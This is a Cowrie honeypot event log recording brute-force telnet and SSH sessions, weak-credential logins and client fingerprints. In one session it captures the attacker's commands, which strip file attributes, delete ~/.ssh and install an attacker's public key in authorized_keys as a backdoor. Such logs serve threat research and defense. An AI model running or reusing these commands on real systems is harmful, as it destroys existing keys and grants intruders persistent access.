{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":46436,"dst_ip":"159.203.135.109","dst_port":23,"session":"b87e5bc606bf","protocol":"telnet","message":"New connection: 64.41.88.162:46436 (159.203.135.109:23) [session: b87e5bc606bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:29.876438Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":46928,"dst_ip":"159.203.135.109","dst_port":23,"session":"31ce390d8ac8","protocol":"telnet","message":"New connection: 64.41.88.162:46928 (159.203.135.109:23) [session: 31ce390d8ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:30.617779Z"}
{"eventid":"cowrie.session.closed","duration":98.01446866989136,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:32.398906Z","src_ip":"64.41.88.162","session":"de77dec933ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.60239434242249,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:34.625780Z","src_ip":"64.41.88.162","session":"b8f1882eed3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.41637372970581,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:35.878949Z","src_ip":"64.41.88.162","session":"68d8ae3b9d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":52554,"dst_ip":"159.203.135.109","dst_port":23,"session":"302739154b4b","protocol":"telnet","message":"New connection: 64.41.88.162:52554 (159.203.135.109:23) [session: 302739154b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:38.513932Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fac649ff788","protocol":"telnet","message":"New connection: 64.41.88.162:54466 (159.203.135.109:23) [session: 1fac649ff788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:40.768008Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59372,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf22a4f101d1","protocol":"telnet","message":"New connection: 64.41.88.162:59372 (159.203.135.109:23) [session: cf22a4f101d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:45.733688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47648,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67ee5ded802","protocol":"telnet","message":"New connection: 104.245.105.2:47648 (10.17.0.5:23) [session: a67ee5ded802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:46.202133Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":60528,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3568271ed12","protocol":"telnet","message":"New connection: 64.41.88.162:60528 (159.203.135.109:23) [session: b3568271ed12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:46.863550Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bbecdb42dbb","protocol":"telnet","message":"New connection: 64.41.88.162:33370 (159.203.135.109:23) [session: 4bbecdb42dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:47.888953Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33534,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d734fddf19","protocol":"telnet","message":"New connection: 64.41.88.162:33534 (159.203.135.109:23) [session: 98d734fddf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:48.025578Z"}
{"eventid":"cowrie.session.closed","duration":44.0383243560791,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:49.466476Z","src_ip":"104.245.105.2","session":"73f2574b8fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd28310ac3d","protocol":"telnet","message":"New connection: 104.245.105.2:52902 (10.17.0.5:23) [session: ebd28310ac3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:54.736208Z"}
{"eventid":"cowrie.session.closed","duration":35.31415033340454,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:57.525533Z","src_ip":"64.41.88.162","session":"d5578bdd2f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44802713394165,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:57.985178Z","src_ip":"64.41.88.162","session":"629c77206155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44060,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0f0363c5670","protocol":"ssh","message":"New connection: 87.251.64.176:44060 (10.17.0.5:22) [session: f0f0363c5670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.184239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.188969Z","src_ip":"87.251.64.176","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.285379Z","src_ip":"87.251.64.176","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.581888Z","src_ip":"87.251.64.176","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.680641Z","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.780500Z","src_ip":"87.251.64.176","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:05.880551Z","src_ip":"87.251.64.176","session":"f0f0363c5670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b830e2c1863","protocol":"telnet","message":"New connection: 104.245.105.2:33698 (10.17.0.5:23) [session: 0b830e2c1863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:18.605496Z"}
{"eventid":"cowrie.session.closed","duration":9.140023946762085,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:27.745307Z","src_ip":"104.245.105.2","session":"0b830e2c1863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:34.806044Z","src_ip":"182.253.168.47","session":"0c1966aaa3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.63625454902649,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:39.372284Z","src_ip":"104.245.105.2","session":"ebd28310ac3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.238250494003296,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:42.440258Z","src_ip":"104.245.105.2","session":"a67ee5ded802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.243","src_port":56352,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d3ec1bf53a","protocol":"ssh","message":"New connection: 14.103.127.243:56352 (10.17.0.5:22) [session: f5d3ec1bf53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:53.726787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:54.126540Z","src_ip":"14.103.127.243","session":"f5d3ec1bf53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:47:54.348653Z","src_ip":"14.103.127.243","session":"f5d3ec1bf53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.02682185173035,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:02.584117Z","src_ip":"64.41.88.162","session":"7bca15fb7bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":56286,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75f0b1185fd","protocol":"telnet","message":"New connection: 64.41.88.162:56286 (159.203.135.109:23) [session: a75f0b1185fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:02.765412Z"}
{"eventid":"cowrie.session.closed","duration":96.32773661613464,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:03.238682Z","src_ip":"64.41.88.162","session":"122112245b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":56640,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2576951e00","protocol":"telnet","message":"New connection: 64.41.88.162:56640 (159.203.135.109:23) [session: 1b2576951e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:03.469311Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"979e11db667d","protocol":"telnet","message":"New connection: 64.41.88.162:57360 (159.203.135.109:23) [session: 979e11db667d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:05.058395Z"}
{"eventid":"cowrie.session.closed","duration":96.56804299354553,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:06.444376Z","src_ip":"64.41.88.162","session":"b87e5bc606bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.07035326957703,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:06.688023Z","src_ip":"64.41.88.162","session":"31ce390d8ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54274,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbe311c23cb","protocol":"telnet","message":"New connection: 104.245.105.2:54274 (10.17.0.5:23) [session: dbbe311c23cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:27.472085Z"}
{"eventid":"cowrie.session.closed","duration":120.00342655181885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:38.517260Z","src_ip":"64.41.88.162","session":"302739154b4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0037407875061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:40.771452Z","src_ip":"64.41.88.162","session":"1fac649ff788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00578904151917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:45.739330Z","src_ip":"64.41.88.162","session":"cf22a4f101d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00232696533203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:46.865747Z","src_ip":"64.41.88.162","session":"b3568271ed12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00253558158875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:47.891367Z","src_ip":"64.41.88.162","session":"4bbecdb42dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00165104866028,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:48.027109Z","src_ip":"64.41.88.162","session":"98d734fddf19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":43288,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0df2680ce7","protocol":"ssh","message":"New connection: 88.205.172.170:43288 (10.17.0.5:22) [session: ef0df2680ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:49.000912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:49.005926Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:49.164107Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123321","message":"login attempt [admin/admin123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:49.824505Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.184290Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.186749Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.190050Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.349723Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.712038Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.716224Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.879341Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:50.883592Z","src_ip":"88.205.172.170","session":"ef0df2680ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":53320,"dst_ip":"10.17.0.5","dst_port":22,"session":"b501e29ec9f5","protocol":"ssh","message":"New connection: 88.205.172.170:53320 (10.17.0.5:22) [session: b501e29ec9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:51.039040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:48:51.043849Z","src_ip":"88.205.172.170","session":"b501e29ec9f5","protocol":"ssh"}
